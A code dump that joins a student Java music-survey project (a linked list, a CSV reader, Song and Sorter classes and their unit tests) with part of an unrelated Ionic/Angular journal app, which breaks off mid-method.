castCurrentElement = (E)castIt.next();
if (!thisCurrentElement.equals(castCurrentElement)) {
return false;
}
}
return true;
}
}
<file_sep>/src/prj5/LinkedListTest.java
package prj5;
import java.util.Iterator;
import java.util.NoSuchElementException;
import student.TestCase;
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME> & <NAME> (m0ri3) <NAME> (ntq2503)
/**
* Linked list used to store objects of song and student.
* Construction of class starts with Iterator ( @see LinkedListIterator)
* than Node ( @see Node )
* than linked list ( @see LinkedList)
*
*
* @author <NAME> (m0ri3)
* @version 2018.11.11
*/
public class LinkedListTest extends TestCase {
// Fields----------------------------------------------------
private LinkedList<String> list;
// ----------------------------------------------------------
/**
* Default set up before every test case
*/
public void setUp() {
list = new LinkedList<String>();
}
// ----------------------------------------------------------
/**
* Test size() method for LinkedList
*/
public void testSize() {
assertEquals(0, list.size());
list.add("test1");
assertEquals(1, list.size());
list.add("test2");
assertEquals(2, list.size());
list.remove();
assertEquals(1, list.size());
list.remove();
assertEquals(0, list.size());
}
// ----------------------------------------------------------
/**
* Test add() and toString() method for LinkedList
*/
public void testAdd() {
// empty list to string
assertEquals(list.toString(), "[]");
// addint to list
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertEquals("[1, 2, 3, 4]", list.toString());
list.add(1, "between 3 and 2");
assertEquals("[1, 2, between 3 and 2, 3, 4]", list.toString());
assertFalse(list.add(null));
assertTrue(list.addFirst("0"));
assertEquals("[0, 1, 2, between 3 and 2, 3, 4]", list.toString());
assertFalse(list.addLast(null));
// testing exception
Exception exception = null;
try {
list.add(20, "fail add");
}
catch (Exception e) {
exception = e;
}
assertNotNull(exception);
assertTrue(exception instanceof IndexOutOfBoundsException);
}
// ----------------------------------------------------------
/**
* Test indexOf() method for LinkedList
*/
public void testIndexOf() {
// addint to list
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertEquals(list.indexOf("1"), 0);
assertEquals(list.indexOf("2"), 1);
assertEquals(list.indexOf("3"), 2);
assertEquals(list.indexOf("4"), 3);
assertEquals(list.indexOf("5"), -1);
}
// ----------------------------------------------------------
/**
* Test remove() method for LinkedList
*/
public void testRemove() {
// remove on empty list
assertFalse(list.remove());
// add int to list
list.add("4");
list.add("3");
list.add("2");
list.add("1");
// remove(e)
assertTrue(list.remove("4"));
assertFalse(list.remove("5"));
// test null
list.add(null);
assertFalse(list.remove(null));
// exception for remove index
Exception exception = null;
try {
list.remove(6);
}
catch (Exception e) {
exception = e;
}
assertNotNull(exception);
assertTrue(exception instanceof IndexOutOfBoundsException);
}
// ----------------------------------------------------------
/**
* Test replace() method for LinkedList
*/
public void testReplace() {
// add int to list
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertEquals(list.replace(0, "4"), "1");
assertEquals("[4, 2, 3, 4]", list.toString());
Exception exception = null;
try {
list.replace(6, "4");
}
catch (Exception e) {
exception = e;
}
assertNotNull(exception);
assertTrue(exception instanceof IndexOutOfBoundsException);
}
// ----------------------------------------------------------
/**
* Test toArray() method for LinkedList
*/
public void testToArray() {
// add int to list
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertTrue(list.toArray() instanceof Object);
}
// ----------------------------------------------------------
/**
* Test remove() method for LinkedList
*/
public void testRemoveTwo() {
// add int to list
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertEquals(list.remove(0), "1");
assertEquals(list.remove(0), "2");
assertEquals(list.remove(1), "4");
}
// ----------------------------------------------------------
/**
* Test addLast() method for LinkedList
*/
public void testAddLast() {
list.addLast("4");
list.addLast("3");
list.addLast("2");
list.addLast("1");
assertEquals("[4, 3, 2, 1]", list.toString());
}
// ----------------------------------------------------------
/**
* Test get() method for LinkedList
*/
public void testGet() {
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertEquals("3", list.get(2));
assertEquals("1", list.get(0));
}
// ----------------------------------------------------------
/**
* Test clear() method for LinkedList
*/
public void testClear() {
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertEquals(4, list.size());
assertEquals("1", list.get(0));
list.clear();
assertEquals(0, list.size());
assertNull(list.get(0));
}
// ----------------------------------------------------------
/**
* Test contains() method for LinkedList
*/
public void testContains() {
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertTrue(list.contains("3"));
assertFalse(list.contains("5"));
}
// ----------------------------------------------------------
/**
* Test isEmpty() method for LinkedList
*/
public void testIsEmpty() {
assertTrue(list.isEmpty());
list.add("test");
assertFalse(list.isEmpty());
}
// ----------------------------------------------------------
/**
* Test iterator method for LinkedList
*/
public void testListIterator() {
Iterator<String> iter = list.iterator();
assertFalse(iter.hasNext());
// remove on empty
Exception exception = null;
try {
iter.remove();
}
catch (Exception e) {
exception = e;
}
assertNotNull(exception);
assertTrue(exception instanceof IllegalStateException);
// add strings
list.add("4");
list.add("3");
list.add("2");
list.add("1");
assertTrue(iter.hasNext());
// remove at null head
Exception exception2 = null;
try {
iter.remove();
}
catch (Exception e) {
exception2 = e;
}
assertNotNull(exception2);
assertTrue(exception2 instanceof IllegalStateException);
// iterating
assertEquals(iter.next(), "1");
iter.remove();
// attempt to remove after element already removed
Exception exception3 = null;
try {
iter.remove();
}
catch (Exception e) {
exception3 = e;
}
assertNotNull(exception3);
assertTrue(exception3 instanceof IllegalStateException);
assertEquals(list.toString(), "[2, 3, 4]");
assertEquals(iter.next(), "2");
iter.remove();
assertEquals(iter.next(), "3");
iter.remove();
assertEquals(iter.next(), "4");
// tail after iterating
Exception exception4 = null;
try {
iter.next();
}
catch (Exception e) {
exception4 = e;
}
assertNotNull(exception4);
assertTrue(exception4 instanceof NoSuchElementException);
}
/**
* test method equals()
*/
public void testEquals() {
assertTrue(list.equals(list));
LinkedList<String> nullList = null;
assertFalse(list.equals(nullList));
int n = 0;
assertFalse(list.equals(n));
list.add("4");
list.add("3");
list.add("2");
list.add("1");
LinkedList<String> list2 = new LinkedList<String>();
assertFalse(list.equals(list2));
list.add("4");
list.add("3");
list.add("2");
list.add("2");
assertFalse(list.equals(list2));
list.remove();
list.add("1");
assertFalse(list.equals(list2));
}
}
<file_sep>/src/prj5/FileReader.java
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME> (m0ri3), <NAME> (ntq2503)
package prj5;
import java.io.File;
import java.io.FileNotFoundException;
import java.util.Scanner;
import bsh.ParseException;
/**
* A helper class to read the data from csv files and parse it into
* data structures for use by other classes in the program.
*
* @author <NAME> (m0ri3), <NAME> (ntq2503)
* @version 2018.11.27
*/
public class FileReader {
private LinkedList<Song> songs;
// -----------------------------------------------------------
/**
* Initializes the fields and calls the reader methods.
*
* @throws FileNotFoundException
* @throws ParseException
*/
public FileReader(String songFile, String surveyFile)
throws ParseException,
FileNotFoundException {
songFileReader(songFile);
surveyFileReader(surveyFile);
new GUIFrontEnd(songs);
}
// -----------------------------------------------------------
/**
* Takes a file of song information and parses it for use
* elsewhere in the program.
* Format of the file: Song Title,Artist,Year,Genre
*
* @param filename
* The filename of the data to read.
* @return The LinkedList of parsed data.
* @throws ParseException
* @throws FileNotFoundException
*/
private void songFileReader(String fileName)
throws ParseException,
FileNotFoundException {
songs = new LinkedList<Song>();
Scanner scanner = null;
try {
scanner = new Scanner(new File(fileName));
scanner.nextLine();
while (scanner.hasNextLine()) {
String[] line = scanner.nextLine().split(",");
if (line.length != 4) {
throw new ParseException();
}
String title = line[0];
String artist = line[1];
String genre = line[3];
int year = Integer.valueOf(line[2]);
songs.add(new Song(title, artist, genre, year));
}
}
finally {
scanner.close();
}
}
// -----------------------------------------------------------
/**
* Takes a file of student survey information and parses it for use
* elsewhere in the program.
*
* @param filename
* The filename of the data to read.
* @return The LinkedList of parsed data.
*/
private void surveyFileReader(String fileName)
throws ParseException,
FileNotFoundException {
Scanner scanner = null;
try {
scanner = new Scanner(new File(fileName));
scanner.nextLine();
while (scanner.hasNextLine()) {
String[] line = scanner.nextLine().toLowerCase().split(",");
System.out.print(line.toString());
int major = 12;
int region = 12;
int hobby = 12;
if (line.length < 5) {
continue;
}
switch (line[4]) {
case "reading":
hobby = 0;
break;
case "art":
hobby = 1;
break;
case "sports":
hobby = 2;
break;
case "music":
hobby = 3;
break;
}
switch (line[2]) {
case "computer science":
major = 4;
break;
case "other engineering":
major = 5;
break;
case "math or cmda":
major = 6;
break;
case "other":
major = 7;
break;
}
switch (line[3]) {
case "northeast":
region = 8;
break;
case "southeast":
region = 9;
break;
case "united states (other than southeast or northwest)":
region = 10;
break;
case "outside of united states":
region = 11;
break;
}
int songIndex = 0;
for (int i = 5; i < line.length - 1; i += 2) {
if (line[i].equals("yes")) {
songs.get(songIndex).incHeard(major);
songs.get(songIndex).incHeard(hobby);
songs.get(songIndex).incHeard(region);
songs.get(songIndex).incTotal1(major);
songs.get(songIndex).incTotal1(hobby);
songs.get(songIndex).incTotal1(region);
}
if (line[i].equals("no")) {
songs.get(songIndex).incTotal1(major);
songs.get(songIndex).incTotal1(hobby);
songs.get(songIndex).incTotal1(region);
}
if (line[i + 1].equals("yes")) {
songs.get(songIndex).incLiked(major);
songs.get(songIndex).incLiked(hobby);
songs.get(songIndex).incLiked(region);
songs.get(songIndex).incTotal2(major);
songs.get(songIndex).incTotal2(hobby);
songs.get(songIndex).incTotal2(region);
}
if (line[i + 1].equals("no")) {
songs.get(songIndex).incTotal2(major);
songs.get(songIndex).incTotal2(hobby);
songs.get(songIndex).incTotal2(region);
}
songIndex++;
}
}
}
finally {
scanner.close();
}
}
// -----------------------------------------------------------
/**
*
* @return The songs field.
*/
public LinkedList<Song> getSongs() {
return songs;
}
}
<file_sep>/src/prj5/Song.java
package prj5;
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME>, <NAME> (ntq2503)
/**
* Song class for project 5
*
* @author <NAME> (m0ri3), <NAME> (ntq2503)
* @version 2018.11.08
*/
public class Song {
// Fields--------------------------------------------------------------
private String title;
private String artist;
private String genre;
private Integer year;
private int[] liked;
private int[] heard;
private int[] totalResp1;
private int[] totalResp2;
// Methods------------------------------------------------------------
/**
* Song default constructor.
*
* @param title
* Song title
* @param artist
* Song artist
* @param genre
* Song genre
* @param year
* Song year
*/
public Song(String title, String artist, String genre, int year) {
this.title = title;
this.artist = artist;
this.genre = genre;
this.year = year;
liked = new int[13];
heard = new int[13];
totalResp1 = new int[13];
totalResp2 = new int[13];
}
// ----------------------------------------------------------
/**
* Returns song title
*
* @return
* return song title
*/
public String getTitle() {
return title;
}
// ----------------------------------------------------------
/**
* Sets song title
*
* @param title
* new title of song
*/
public void setTitle(String title) {
this.title = title;
}
// ----------------------------------------------------------
/**
* Returns artist
*
* @return
* return artist name
*/
public String getArtist() {
return artist;
}
// ----------------------------------------------------------
/**
* Sets artist
*
* @param artist
* new artist of song
*/
public void setArtist(String artist) {
this.artist = artist;
}
// ----------------------------------------------------------
/**
* Return song genre
*
* @return
* return genre
*/
public String getGenre() {
return genre;
}
// ----------------------------------------------------------
/**
* Sets aGenre
*
* @param genre
* new genre of song
*/
public void setGenre(String genre) {
this.genre = genre;
}
// ----------------------------------------------------------
/**
* Return year
*
* @return
* return year of song
*/
public int getYear() {
return year;
}
// ----------------------------------------------------------
/**
* Sets year
*
* @param year
* new year of song
*/
public void setYear(int year) {
this.year = year;
}
/**
* check if 2 songs are equal
*
* @param obj
* the other song
*/
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (obj == this) {
return true;
}
if (obj.getClass() != this.getClass()) {
return false;
}
Song comp = (Song)obj;
return this.getTitle().equals(comp.getTitle());
}
/**
* get the array liked
*
* @return the array
*/
public int[] getLiked() {
return liked;
}
/**
* get the array heard
*
* @return the array
*/
public int[] getHeard() {
return heard;
}
/**
* get the array of responses for heard
*
* @return the array
*/
public int[] getTotal1() {
return totalResp1;
}
/**
* get the array of responses for liked
*
* @return the array
*/
public int[] getTotal2() {
return totalResp2;
}
/**
* increments liked index
*
* @param i
* the index
*/
public void incLiked(int i) {
liked[i]++;
}
/**
* increments heard index
*
* @param i
* the index
*/
public void incHeard(int i) {
heard[i]++;
}
/**
* increments totalResp1 index
*
* @param i
* the index
*/
public void incTotal1(int i) {
totalResp1[i]++;
}
/**
* increments totalResp2 index
*
* @param i
* the index
*/
public void incTotal2(int i) {
totalResp2[i]++;
}
/**
* calculate heard percentage of songs
*
* @return an array of heard percentage
*/
public float[] getAllPercentHeard() {
float[] per = new float[13];
for (int i = 0; i < heard.length; i++) {
if (totalResp1[i] == 0) {
per[i] = 0;
}
else {
per[i] = (float)heard[i] / (float)totalResp1[i];
}
}
return per;
}
/**
* calculate liked percentage of songs
*
* @return an array of liked percentage
*/
public float[] getAllPercentLiked() {
float[] per = new float[13];
for (int i = 0; i < liked.length; i++) {
if (totalResp2[i] == 0) {
per[i] = 0;
}
else {
per[i] = (float)liked[i] / (float)totalResp2[i];
}
}
return per;
}
/**
* get an array of liked percentage of songs for a certain criteria
*
* @param criteria
* the criteria
* @return the array
*/
public float[] getPercentLiked(String criteria) {
float[] per = new float[4];
float[] all = getAllPercentLiked();
if (criteria.equals("Region")) {
per[0] = all[8];
per[1] = all[9];
per[2] = all[10];
per[3] = all[11];
}
else if (criteria.equals("Major")) {
per[0] = all[4];
per[1] = all[5];
per[2] = all[6];
per[3] = all[7];
}
else if (criteria.equals("Hobby")) {
per[0] = all[0];
per[1] = all[1];
per[2] = all[2];
per[3] = all[3];
}
return per;
}
/**
* get an array of heard percentage of songs for a certain criteria
*
* @param criteria
* the criteria
* @return the array
*/
public float[] getPercentHeard(String criteria) {
float[] per = new float[4];
float[] all = getAllPercentHeard();
if (criteria.equals("Region")) {
per[0] = all[8];
per[1] = all[9];
per[2] = all[10];
per[3] = all[11];
}
else if (criteria.equals("Major")) {
per[0] = all[4];
per[1] = all[5];
per[2] = all[6];
per[3] = all[7];
}
else if (criteria.equals("Hobby")) {
per[0] = all[0];
per[1] = all[1];
per[2] = all[2];
per[3] = all[3];
}
return per;
}
/**
* convert a song to String
*
* @return the string of a song
*/
public String toString() {
StringBuilder output = new StringBuilder("Song Title: ");
output.append(title + "\n");
output.append("Song Artist: " + artist + "\n");
output.append("Song Genre: " + genre + "\n");
output.append("Song Year: " + year + "\n");
float[] heards = getAllPercentHeard();
float[] likes = getAllPercentLiked();
output.append("Heard" + "\n");
output.append("reading:" + heards[0] + " art:" + heards[1] + " sports:"
+ heards[2] + " music:" + heards[3] + "\n");
output.append("Likes" + "\n");
output.append("reading:" + likes[0] + " art:" + likes[1] + " sports:"
+ likes[2] + " music:" + likes[3] + "\n");
return output.toString();
}
}
<file_sep>/src/prj5/LinkedListADT.java
package prj5;
import java.util.Iterator;
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME> & <NAME> (m0ri3) <NAME> (ntq2503)
/**
* Linked list ADT used to store objects of song and student.
*
*
* @author <NAME> (m0ri3)
* @version 2018.11.11
* @param <E>
* linked list is generic type
*/
public interface LinkedListADT<E> {
// ----------------------------------------------------------
/**
* Replaces the node at the current index
*
* @precondition index cannot be larger than list size
* @see add(index, newData)
* Does actual adding of node
* @see remove(index)
* Passes to remove helper to remove node
* @param index
* index to be replaced
* @param newData
* new data to be inserted at index
* @return
* data that was replaced
* @throws IndexOutOfBoundsException
*/
public E replace(int index, E newData);
// ----------------------------------------------------------
/**
* Adds generic type to linked list
* Adds to front of linked list.
*
* @param e
* Generic type to be added.
* @return
* returns false if <E>e is null
* returns true if Node is added.
*/
public boolean add(E e);
// ----------------------------------------------------------
/**
* Adds node after given index number.
*
* @precondition index cannot be larger than list size
*
* @param index
* index to look for for add
* @param e
* Generic type to ads.
* @throws IndexOutOfBoundsException
*/
public void add(int index, E e);
// ----------------------------------------------------------
/**
* resets the entire list to default constructor
*
*/
public void clear();
// ----------------------------------------------------------
/**
* Sees if the linked list contains the element
* Uses helper method @see findNode
*
* @return true list contains element
*
* @param e
* Generic type to search for.
*/
public boolean contains(E e);
// ----------------------------------------------------------
/**
* Returns the node at a given index
*
* @precondition index not larger than size of list
* @param index
* the index spot to look at in the list
* @return
* return node if node at index
* return null if index larger than list
*
*/
public E get(int index);
// ----------------------------------------------------------
/**
* Searches for index of given generic type within node data
*
* @param e
* Generic type to search for
* @return
* returns index of data looked for
* returns -1 if not found
*/
public int indexOf(E e);
// ----------------------------------------------------------
/**
* checks if list is empty
*
* @return true if is empty
*/
public boolean isEmpty();
// ----------------------------------------------------------
/**
* Object Creation for new iterator.
*
* @return the iterator object
*/
public Iterator<E> iterator();
// ----------------------------------------------------------
/**
* Removes data type e at location index
* uses findNode to find data location
*
* @precondition index cannot be larger than list size
* @param index
* index to remove
* @return
* false if node is null or does not exist
* true if node is removed
* @throws IndexOutOfBoundException
*/
public E remove(int index);
// ----------------------------------------------------------
/**
* Default remove to remove front of list
*
* @return true if removed
*
*/
public boolean remove();
// ----------------------------------------------------------
/**
* Removes data type e after finding location
* uses findNode to find data location
*
* @param e
* Generic data type to search for
* @return
* false if node is null or does not exist
* true if node is removed
*/
public boolean remove(E e);
// ----------------------------------------------------------
/**
* getter for list size
*
* @return
* size field for list
*/
public int size();
// ----------------------------------------------------------
/**
* Puts node data into an array.
*
* @return
* returns array with node data.
*/
public Object[] toArray();
// ----------------------------------------------------------
/**
* Puts node data into string format
* String format ex: [1, 2, 3]
*
* @return
* returns string of data
*/
public String toString();
}
<file_sep>/src/prj5/Sorter.java
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME>, <NAME>, <NAME>
package prj5;
import java.util.Iterator;
/**
* Test class for the Sorter class.
*
* @author <NAME> (m0ri3)
* @version 2018.11.29
*/
public class Sorter {
/**
* constructor
*/
public Sorter() {
// intentionally left blank
}
/**
* sort song list by title
*
* @param unorderedSongs
* unsorted list
* @return the sorted list
*/
public static LinkedList<Song> sortByTitle(
LinkedList<Song> unorderedSongs) {
return sortBy(1, unorderedSongs);
}
/**
* sort song list by artist name
*
* @param unorderedSongs
* unsorted list
* @return the sorted list
*/
public static LinkedList<Song> sortByArtist(
LinkedList<Song> unorderedSongs) {
return sortBy(2, unorderedSongs);
}
/**
* sort song list by genre
*
* @param unorderedSongs
* unsorted list
* @return the sorted list
*/
public static LinkedList<Song> sortByGenre(
LinkedList<Song> unorderedSongs) {
return sortBy(3, unorderedSongs);
}
/**
* sort song list by year
*
* @param unorderedSongs
* unsorted list
* @return the sorted list
*/
public static LinkedList<Song> sortByYear(LinkedList<Song> unorderedSongs) {
return sortBy(4, unorderedSongs);
}
/**
* helper method to sort
*
* @param whatToSortBy
* indicate what order to sort
* @param songs
* song list
* @return the sorted list
*/
private static LinkedList<Song> sortBy(
int whatToSortBy,
LinkedList<Song> songs) {
LinkedList<Song> newList = new LinkedList<Song>();
while (!songs.isEmpty()) {
Song smallest = getSmallestSong(whatToSortBy, songs);
songs.remove(smallest);
newList.addLast(smallest);
}
return newList;
}
/**
* find smallest song
*
* @param whatToSortBy
* indicate what order to sort
* @param songs
* song list
* @return the smallest song
*/
private static Song getSmallestSong(
int whatToSortBy,
LinkedList<Song> songs) {
Iterator<Song> it = songs.iterator();
Song smallest = it.next();
Song current;
while (it.hasNext()) {
current = it.next();
if (songIsSmallerByWhatToSortBy(whatToSortBy, current, smallest)) {
smallest = current;
}
}
return smallest;
}
/**
* check if current song is smaller than smallest
*
* @param whatToSortBy
* indicate what order to sort
* @param current
* current song
* @param smallest
* smallest song
* @return
*/
private static boolean songIsSmallerByWhatToSortBy(
int whatToSortBy,
Song current,
Song smallest) {
switch (whatToSortBy) {
case 1:
return current.getTitle().compareTo(smallest.getTitle()) < 0;
case 3:
return current.getGenre().compareTo(smallest.getGenre()) < 0;
case 2:
return current.getArtist().compareTo(smallest.getArtist()) < 0;
case 4:
return current.getYear() < smallest.getYear();
default:
return false;
}
}
}
<file_sep>/src/prj5/SorterTest.java
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME>, <NAME>, <NAME>
package prj5;
import student.TestCase;
/**
* Test class for the Sorter class.
*
* @author <NAME> (m0ri3)
* @version 2018.11.29
*/
public class SorterTest extends TestCase {
private LinkedList<Song> songs;
private LinkedList<Song> sortedSongs;
/**
* Sets up the test vVariables.
*/
public void setUp() {
songs = new LinkedList<Song>();
Song song1 = new Song("c", "c", "c", 3);
Song song2 = new Song("d", "d", "d", 4);
Song song3 = new Song("e", "e", "e", 5);
Song song4 = new Song("a", "a", "a", 1);
Song song5 = new Song("b", "b", "b", 2);
songs.add(song1);
songs.add(song2);
songs.add(song3);
songs.add(song4);
songs.add(song5);
sortedSongs = new LinkedList<Song>();
sortedSongs.add(song3);
sortedSongs.add(song2);
sortedSongs.add(song1);
sortedSongs.add(song5);
sortedSongs.add(song4);
}
/**
* Test the sortByTitle method.
*/
public void testSortByTitle() {
assertEquals(sortedSongs, Sorter.sortByTitle(songs));
}
/**
* Test the sortByArtist method.
*/
public void testSortByArtist() {
assertEquals(sortedSongs, Sorter.sortByArtist(songs));
}
/**
* Test the sortByGenre method.
*/
public void testSortByGenre() {
assertEquals(sortedSongs, Sorter.sortByGenre(songs));
}
/**
* Test the sortByYear method.
*/
public void testSortByYear() {
assertEquals(sortedSongs, Sorter.sortByYear(songs));
}
}
<file_sep>/src/prj5/SongTest.java
package prj5;
import student.TestCase;
// Virginia Tech Honor Code Pledge:
//
// As a Hokie, I will conduct myself with honor and integrity at all times.
// I will not lie, cheat, or steal, nor will I accept the actions of those who
// do.
// -- <NAME>, <NAME> (ntq2503)
/**
* Song test class for project 5.
*
* @author <NAME>
* @version 11.8.2018
*
*/
public class SongTest extends TestCase {
private Song song;
/**
* Default constructor before each test
*/
public void setUp() {
song = new Song("TDog", "T-Money", "house", 1982);
}
/**
* test getters and setters
*/
public void testGettersSetters() {
// test original set up
assertEquals(song.getTitle(), "TDog");
assertEquals(song.getArtist(), "T-Money");
assertEquals(song.getGenre(), "house");
assertEquals(song.getYear(), 1982);
// set new fields
song.setTitle("not TDog");
song.setArtist("not T-Money");
song.setGenre("not house");
song.setYear(1999);
// test new sets
assertEquals(song.getTitle(), "not TDog");
assertEquals(song.getArtist(), "not T-Money");
assertEquals(song.getGenre(), "not house");
assertEquals(song.getYear(), 1999);
assertEquals(13, song.getLiked().length);
assertEquals(13, song.getHeard().length);
assertEquals(13, song.getTotal1().length);
assertEquals(13, song.getTotal2().length);
}
/**
* test methods to increment arrays
*/
public void testIncrement() {
song.incHeard(0);
song.incLiked(1);
song.incTotal1(2);
song.incTotal2(3);
assertEquals(1, song.getHeard()[0]);
assertEquals(1, song.getLiked()[1]);
assertEquals(1, song.getTotal1()[2]);
assertEquals(1, song.getTotal2()[3]);
}
/**
* test getting arrays of percentage of heard and liked
*/
public void testGetPercentHeardLiked() {
song.incHeard(0);
song.incLiked(1);
song.incTotal1(0);
song.incTotal2(1);
song.incTotal1(0);
song.incTotal2(1);
song.incHeard(4);
song.incLiked(5);
song.incTotal1(4);
song.incTotal2(5);
song.incTotal1(4);
song.incTotal2(5);
song.incHeard(8);
song.incLiked(9);
song.incTotal1(8);
song.incTotal2(9);
song.incTotal1(8);
song.incTotal2(9);
assertEquals(0.5, song.getPercentHeard("Hobby")[0], 0.000001);
assertEquals(0.5, song.getPercentLiked("Hobby")[1], 0.000001);
assertEquals(0.5, song.getPercentHeard("Major")[0], 0.000001);
assertEquals(0.5, song.getPercentLiked("Major")[1], 0.000001);
assertEquals(0.5, song.getPercentHeard("Region")[0], 0.000001);
assertEquals(0.5, song.getPercentLiked("Region")[1], 0.000001);
}
/**
* test converting song to String
*/
public void testToString() {
StringBuilder string = new StringBuilder();
string.append("Song Title: TDog" + "\n");
string.append("Song Artist: T-Money" + "\n");
string.append("Song Genre: house" + "\n");
string.append("Song Year: 1982" + "\n");
string.append("Heard" + "\n");
string.append("reading:0.0 art:0.0 sports:0.0 music:0.0" + "\n");
string.append("Likes" + "\n");
string.append("reading:0.0 art:0.0 sports:0.0 music:0.0" + "\n");
assertEquals(string.toString(), song.toString());
}
}
| 59e0393c989d09114f26c6084685ede80d2a3604 | [
"Markdown",
"Java"
] | 10 | Java | ntq2503/Music-Survey-Display | ec394e37c3ba392a8de275ba30b638a9d6351036 | 8c18e1fd4b0e433e79f6165c28b3c051237b56e7 |
refs/heads/master | <repo_name>MarioBanay/secret-number-game<file_sep>/web/src/main/java/com/mariobanay/controller/GameController.java
package com.mariobanay.controller;
import com.mariobanay.service.GameService;
import com.mariobanay.util.AttributeNames;
import com.mariobanay.util.GameMappings;
import com.mariobanay.util.ViewNames;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class GameController {
private final GameService gameService;
@Autowired
public GameController(GameService gameService) {
this.gameService = gameService;
}
@GetMapping(GameMappings.HOME)
public String home() {
return ViewNames.HOME;
}
@GetMapping(GameMappings.PLAY)
public String play(Model model) {
model.addAttribute(AttributeNames.MAIN_MESSAGE, gameService.getMainMessage());
model.addAttribute(AttributeNames.RESULT_MESSAGE, gameService.getResultMessage());
if (gameService.isGameOver()) {
gameService.reset();
return ViewNames.GAME_OVER;
}
return ViewNames.PLAY;
}
@PostMapping(GameMappings.PLAY)
// name of the req. para. guess has to be matched to the input name attr in view (play.html)
public String processMessage(@RequestParam int guess) {
gameService.checkGuess(guess);
return GameMappings.REDIRECT_PLAY;
}
@GetMapping(GameMappings.RESTART)
public String restart() {
gameService.reset();
return GameMappings.REDIRECT_PLAY;
}
}
| f980220665872e746b2a3150a6ed6543cfc25746 | [
"Java"
] | 1 | Java | MarioBanay/secret-number-game | d538b8a6f825299b1d6b456c38b1bd7c0ab8c137 | 9501fa01bfc3f435c55f7618897fadb51fdb9ad7 |
refs/heads/master | <file_sep>import { Component } from '@angular/core'
import * as moment from 'moment';
import { ModalController, LoadingController } from 'ionic-angular';
import { JournalEditPage } from './edit/journal-edit';
import { JournalService } from '../../services/journal.service';
@Component({
selector: 'page-journal',
templateUrl: 'journal.html',
})
export class JournalPage {
private selectedDate: any;
private selectedMoment: moment.Moment;
private selectedDateString: string;
private maxDate: any;
private journalEntries: Array<any> = [];
constructor(private modal: ModalController,
private journalService: JournalService,
private LoadingController: LoadingController) {
this.init();
}
getEntries = () => {
const isLoading = this.LoadingController.create({
showBackdrop: false,
content: "Getting entries..."
});
isLoading.present();
this.journalService.getJournalEntries().subscribe(entries => {
this.journalEntries = entries;
isLoading.dismiss();
});
}
editEntry = (journalEntry: any) => {
journalEntry = journalEntry || {text: '', date: null};
const editModal = this.modal.create(JournalEditPage, {entry: journalEntry, selectedDate: this.selectedDate});
editModal.present();
}
formatDate = (entry: any) => {
return moment(entry.date).utc().format("MMMM DD YYYY");
}
init = () => {
this.maxDate = moment().toISOString();
this.selectedDate = moment().toISOString();
this.selectedMoment = moment(this.selectedDate);
this.journalService.setJournalPage(this.selectedMoment.year(), this.selectedMoment.month());
this.getEntries();
}
onDateChange = () => {
this.selectedMoment = moment(this.selectedDate);
this.journalService.setJournalPage(this.selectedMoment.year(), this.selectedMoment.month());
this.getEntries();
}
removeEntry = (entry: any) => {
this.journalService.remove(entry);
}
}<file_sep>import { Component } from '@angular/core';
import { SoberClockPage } from '../sober-clock/sober-clock';
import { MeditationPage } from '../meditation/meditation';
import { TwelveStepsPage } from '../twelve-steps/twelve-steps';
import { JournalPage } from '../journal/journal';
import { AuthService} from '../../services/auth.service';
@Component({
templateUrl: 'tabs.html'
})
export class TabsPage {
tab1Root = SoberClockPage;
tab2Root = TwelveStepsPage;
tab3Root = JournalPage;
tab4Root = MeditationPage;
constructor(private auth: AuthService) {
if(!this.auth.isAuthenticated()) {
this.auth.login();
}
}
}
<file_sep>import { NgModule } from '@angular/core';
import { SoberDayService } from './sober-day.service';
import { IonicStorageModule } from '@ionic/storage';
import { YoutubeService} from './youtube.service';
import { HttpModule } from '@angular/http';
import { AngularFireModule } from 'angularfire2';
import { AuthService } from './auth.service';
import { AngularFireDatabase } from 'angularfire2/database';
import { ObservableDataService } from './observable-data.service';
import { JournalService } from './journal.service';
import { StepsService } from './steps.service';
import { firebaseConfig } from '../common/constants/firebase.config.cnst';
@NgModule({
declarations: [
],
imports: [
IonicStorageModule,
HttpModule,
AngularFireModule.initializeApp(firebaseConfig)
],
bootstrap: [],
entryComponents: [
],
providers: [
SoberDayService,
YoutubeService,
AuthService,
AngularFireDatabase,
ObservableDataService,
JournalService,
StepsService
]
})
export class ServicesModule {}
<file_sep>import { Component } from '@angular/core'
import { NavParams, ViewController } from 'ionic-angular';
import * as moment from 'moment';
import { JournalService } from '../../../services/journal.service';
@Component({
selector: 'journal-edit',
templateUrl: 'journal-edit.html',
})
export class JournalEditPage {
private entry: any;
private maxDate: any;
private selectedDate: any;
private selectedMoment: moment.Moment;
constructor(private params: NavParams,
private journalService: JournalService,
private viewController: ViewController) {
this.init();
}
save = () => {
this.entry.date = this.selectedDate;
this.journalService.upsertEntry(this.entry);
this.viewController.dismiss();
}
private onDateChange = () => {
this.selectedMoment = moment(this.selectedDate);
